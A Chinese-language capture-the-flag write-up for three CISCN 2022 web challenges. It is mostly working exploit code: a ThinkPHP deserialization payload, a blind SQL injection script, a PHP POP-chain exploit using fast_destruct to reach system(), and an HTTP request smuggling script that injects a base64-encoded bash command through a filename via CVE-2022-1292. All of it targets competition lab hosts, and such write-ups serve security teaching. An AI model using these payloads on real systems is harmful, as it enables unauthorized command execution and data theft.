ciscn2022 ezpop
payload
http://eci-2ze7x0b01kqqb579phbs.cloudeci1.ichunqiu.com/index.php/index/test
post
a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00*%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00*%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00*%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00*%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3B%7D
ciscn2022 Ezpentest
有个DS_Store
然并卵
用的AuroraSZU的payload
import requests
#1'^CASE`password`like'{s + table[j]}%'COLLATE'utf8mb4_bin'WHEN'1'THEN'0'ELSE''+100E291+1.7976931348623158E308+''end^'
url = "http://1.14.71.254:28968/login.php"
table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$_"
s = ""
for i in range(300):
for j in range(len(table)):
data = {
"password": "admin",
"username": f"1'^CASE`password`like'{s + table[j]}%'COLLATE'utf8mb4_bin'WHEN'1'THEN'0'ELSE''+100E291+1.7976931348623158E308+''end||'"
}
res = requests.post(url, data=data)
if res.status_code == 200:
s += table[j]
print(s)
break
打nss的靶场会有问题,最后的这个
匹配到的是下划线,下划线是脚本中字符集的最后一个字符,所以可能是_
也可能是%
(此处需要手试)
多次尝试后得出是%
password=PAssw40d_Y0u3_Never_Konwn%21%40%21%21&username=nssctfwabbybaboo!%40%24%25!!
混淆文件用了大量的不可见字符,类似
SUSCTF
中的rubbish maker
,直接保存可能存在解码不了,使用如下脚本进行保存
难蚌,我直接保存的确解码失败。询问一些大佬是用的pwntools+gzip
download.py
import gzip
from pwn import *
p = remote("1.14.71.254",28882)
msg = """GET /login.php HTTP/1.1
Host: 1.14.71.254:28882
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e7bf00700a9bd551fb7bcbcc51690b0e
Connection: close"""
p.send(msg.encode())
byte = p.recv()
start = byte.find(b"\r\n\r\n")+4
byte = byte[start:]
with open("test.php","wb") as f:
f.write(gzip.decompress(byte))
f.close()
不过nss的靶场比较特别,gzip会失败
这里也可以用atao神的脚本
<?php
$url ="http://1.14.71.254:28882/login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt ($ch, CURLOPT_COOKIE, "session=e7bf00700a9bd551fb7bcbcc51690b0e");
$result = curl_exec($ch);
curl_close($ch);
echo urlencode($result);
file_put_contents("login.php",$result);
?>
之后是phpjiami混淆,去混淆的方法是:(网上一些Github脚本被删除了,可以用这个,参考2018的pwnhub某道题)
参考PHPJiaMi 免扩展加密分析及解密_vsalw技术博客用其脚本进行一个解密,脚本如下:
https://vsalw.oss-cn-shanghai.aliyuncs.com/phpjiami.zip
解压后把待解密的放入encode目录
$ php phpjiami.php ./encode/index.php
解密结果在decode里
这里展示最终解密后的1Nd3x_Y0u_N3v3R_Kn0W.php
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}
读一下SomeClass.php
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
?>
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
上面这个抛异常的报错用fast_destruct或者__PHP_Incomplete_Class 都可以绕过
之后就是挖链子
E::__destruct()->C::toString()->D::read()->F::__call()->E::__invoke()->B::__toString()->A::see()
xs,有更短的
E::__destruct()->B::__toString()->A::see()
发现链子里面最后一个rce是有限制的,如何绕过呢
ArrayObject(),Error() ... 凡是原生类都可以随意增加修改属性。借此可以绕过一些对类的限定
比如说
class A
{
public $b;
public function __construct(){
$this->see();
}
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
已知
$a = "system";
$b = "calc";
($a)($b."");
是可以rce的
所以$b->a,$b->b只要分别返回system和calc就行
数组是行不通的,考虑用类,然而这里不允许使用SomeClass.php中的类(只有SomeClass.php有题目写的类),所以这里考虑使用原生类
<?php
class A
{
public $a;
public $b;
public function __construct(){
$this->b = new Error();
$this->b->a = "system";
$this->b->b = "dir";
$this->see();
}
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
$a = new A();
unserialize(serialize($a));
Error改ArrayObject也可以,其实凡是原生类都可
说到fast_destruct,我们可以两种做法,一种是删除最后的大括号,一种是数组对象占用指针(改数字)
对了,
function Al($classname){
include $classname.".php";
}
所以一开始是一定要new一个SomeClass()的
如果利用最后一种,我们可以在new SomeClass();的后面随便加个属性,之后手动把1改为0
如下
fast_destruct版的payload
<?php
include "SomeClass.php";
class SomeClass{
public $a;
}
$e = new E();
$a = new A();
$b = new B();
$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();
$arr->a = "system";
$arr->b = "dir";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo "<hr>";
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
echo "<hr>";
ciscn2022 ezcrt
request.form是存储post表单的地方
本地测试一下
uri = request.form.get("uri", "/")
print(request.form)
但是当
@app.route('/proxy', methods=['GET'])
会method not allow
绕过的方法就是POST改GET。但是body里面仍然有uri
接着后面就是go代码审计活,尤其注意搜索引擎的妙用,理解博文的意思
Request.URL.RawPath
参考1.Gin源码学习-快速开始 - 知乎 (zhihu.com)
所以需要我们对路径进行url编码
然后
Host: admin
`绕
`c.Request.Host == "admin"
最后是这一步,确实学到很多
上网搜一下发现CVE-2022-1292,没有exp但是漏洞描述是当用户可控文件名时的命令注入,所以现在目标为控制文件名
曾几何时我竟认为只有搜出复现文章才可以做题,好好反思
OpenSSL命令注入漏洞 (CVE-2022-1292) 安全风险通告 - 安全内参 | 决策者的网络安全知识库 (secrss.com)
漏洞由于c_rehash脚本未对外部可控数据进行有效过滤,导致可操作/etc/ssl/certs/目录的攻击者注入恶意命令,从而以该脚本的权限执行任意命令。
很像
看go源码,发现只提供了../static/crt/目录下的重命名文件的功能
导致可操作/etc/ssl/certs/目录的攻击者注入恶意命令
结合这句话,我想已经猜到怎么做了吧,把文件名改为恶意代码就会执行
而这个改名的操作明显是通过proxy走私http出来攻击的
坑点:
- 走私的http请求要url编码两次
\r\n
这东西win下比较难实现
尝试burp多次无果后我写了python脚本
poc
import requests
import urllib
import base64
import re
url = "http://1.14.71.254:28183/"
link1 = requests.get(url+"getcrt").text
old = re.findall(r"static/crt/(.*)",link1)[0]
print("old is "+old)
#old = "6e7b1144-34b0-4e6e-882c-25d2b4ab9340.crt"
cmd=base64.b64encode('cat /* >flag1.txt'.encode()).decode()
print(cmd)
payload = f"`echo {cmd} -d|base64 -d|bash`.crt"
payload = urllib.parse.quote(payload)
payload0 = {
"uri":f"/%61%64%6d%69%6e/%72%65%6e%61%6d%65?oldname={old}&newname={payload} HTTP/1.1\r\n"
"Host: admin\r\n"
"User-Agent: Guest\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Language: zh-CN,zh;q=0.9\r\n"
"Connection: close\r\n\r\n"
}
requests.get(url+"proxy",data=payload0)
link=requests.get(url+"/createlink").text
print(link)
print(requests.get(url+"/static/crt/flag1.txt").text)